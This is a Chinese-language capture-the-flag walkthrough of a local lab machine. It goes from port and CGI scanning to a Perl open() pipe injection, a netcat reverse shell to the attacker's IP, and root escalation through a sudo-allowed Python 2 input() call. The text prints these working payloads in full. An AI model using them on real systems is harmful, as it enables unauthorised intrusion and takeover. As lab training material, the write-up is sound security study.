一、信息收集

1. 主机发现与端口扫描

首先在本地网络中使用 `arp-scan` 发现目标主机IP，随后利用 `nmap` 对其进行全端口扫描，以识别开放的服务。

主机发现:

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.139 08:00:27:82:44:3a       PCS Systemtechnik GmbH
...
```

端口扫描:

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p- 192.168.205.139
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
...
```

扫描结果表明，目标主机IP为 `192.168.205.139`，开放了 **22 (SSH)** 和 **80 (HTTP)** 端口。

2. Web服务侦察

访问80端口，发现是一个关于Perl语言的静态页面。查看页面源代码，在其中发现一条关键线索。

```
...
<div><!-- cgi --></div>
...
```

HTML注释中出现的 `cgi` 强烈暗示Web服务上可能存在CGI脚本，这通常是Web应用的一个重要攻击面。

二、漏洞发现与初始访问

1. CGI目录与文件扫描

根据上一步的线索，我们重点对CGI相关目录进行扫描。使用 `gobuster` 对 `/cgi-bin/` 目录进行深度扫描，成功发现一个可疑的CGI脚本。

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ gobuster dir -u http://192.168.205.139/cgi-bin/ -w
/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
-x cgi,pl -t 64
...
/file.cgi             (Status: 200) [Size: 22]
...
```

扫描找到了 `file.cgi` 文件，这是我们的主要突破口。

2. LFI 到 RCE (Perl `open` 函数漏洞)

对发现的 `file.cgi` 进行参数模糊测试，发现一个 `file` 参数存在本地文件包含 (LFI) 漏洞。

验证LFI漏洞:

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl '192.168.205.139/cgi-bin/file.cgi?file=/etc/passwd'
root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
sunset:x:1001:1001:,,,:/home/sunset:/bin/bash
```

成功读取 `/etc/passwd` 文件。利用此漏洞读取 `file.cgi` 自身的源代码。

源码审计:

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl '192.168.205.139/cgi-bin/file.cgi?file=file.cgi'
#!/usr/bin/perl
use CGI;
print CGI::header();
my $input = CGI::param('file');
if($input) {
    open(FILE, $input);
    print while <FILE>;
    close(FILE);
}
else {
    print "Missing file parameter";
}
```

源码的核心问题在于 `open(FILE, $input);`。在Perl中，这种双参数的 `open` 函数非常危险。当传递的参数以管道符 `|` 结尾时，Perl会将其后的字符串作为命令来执行。这使我们能够将LFI漏洞直接升级为远程代码执行 (RCE) 漏洞。

3. 获取 www-data Shell

验证RCE漏洞:

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl '192.168.205.139/cgi-bin/file.cgi?file=id|'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

成功执行 `id` 命令。接下来，构造反弹Shell的Payload，在本地开启监听，成功获取 `www-data` 用户的交互式Shell。

本地监听:

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888
```

构造并执行Payload:

```
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl '192.168.205.139/cgi-bin/file.cgi?
file=busybox+nc+192.168.205.128+8888+-e+/bin/bash|'
```

获取Shell并稳定TTY:

```
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.139] 37298
# 使用 script 稳定Shell
script /dev/null -c bash
# 使用 Ctrl+Z 将其置于后台，然后使用 stty 修复终端
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 24 columns 80
```

三、权限提升

1. www-data -> sunset

在获取 `www-data` 权限后，对系统进行信息搜集。在 `/opt` 目录下发现一个可疑的Perl脚本 `password.pl`。

```
www-data@Per1:/opt$ ls -al
...
-rwxr-xr-x  1 sunset sunset  893 Aug  8 09:07 password.pl
```

该脚本属于 `sunset` 用户。执行此脚本，得到一个字符串。

```
www-data@Per1:/opt$ perl password.pl
dylan4
```

这很可能是 `sunset` 用户的密码。使用 `su` 命令和该密码进行尝试。

```
www-data@Per1:/opt$ su sunset
Password: dylan4
sunset@Per1:/opt$ id
uid=1001(sunset) gid=1001(sunset) groups=1001(sunset)
```

成功切换到 `sunset` 用户。在此用户家目录下找到第一个flag。

```
sunset@Per1:/opt$ cat /home/sunset/user.txt
flag{user-5b5b8e9b01ef27a1cc0a2d5fa87d7190}
```

2. sunset -> root

获取 `sunset` 权限后，立刻检查其 `sudo` 权限。

```
sunset@Per1:/opt$ sudo -l
...
User sunset may run the following commands on Per1:
    (ALL) NOPASSWD: /usr/bin/python /usr/bin/guess_game.py
```

`sunset` 用户可以免密以 `root` 权限运行 `/usr/bin/guess_game.py` 脚本。查看该脚本源码。

```
sunset@Per1:/opt$ cat /usr/bin/guess_game.py
import random

def guess_game():
    ...
    try:
        user_input = input("Your guess: ")
    except Exception as e:
        print "Error:", e
        return
    ...
```

此脚本使用 `python` (即Python 2) 执行，并且在代码中使用了极其危险的 `input()` 函数。在Python 2中，`input()` 会将用户的输入当作Python代码来执行。因此，我们可以输入一段能够启动shell的Python代码，该代码将以 `root` 权限执行。

构造并执行提权Payload:

```
sunset@Per1:/opt$ sudo /usr/bin/python /usr/bin/guess_game.py
Welcome to the guess game!
I've chosen a number between 0 and 65535.
Your guess: __import__('os').system('/bin/bash')
```

输入Payload后，成功获取 `root` 权限的shell。

获取最终Flag:

```
root@Per1:/opt# id
uid=0(root) gid=0(root) groups=0(root)
root@Per1:/opt# cat /root/root.txt /home/sunset/user.txt
flag{root-c27679de03aba03c5a33159aef11f8ea}
flag{user-5b5b8e9b01ef27a1cc0a2d5fa87d7190}
```

至此，靶机完全攻破。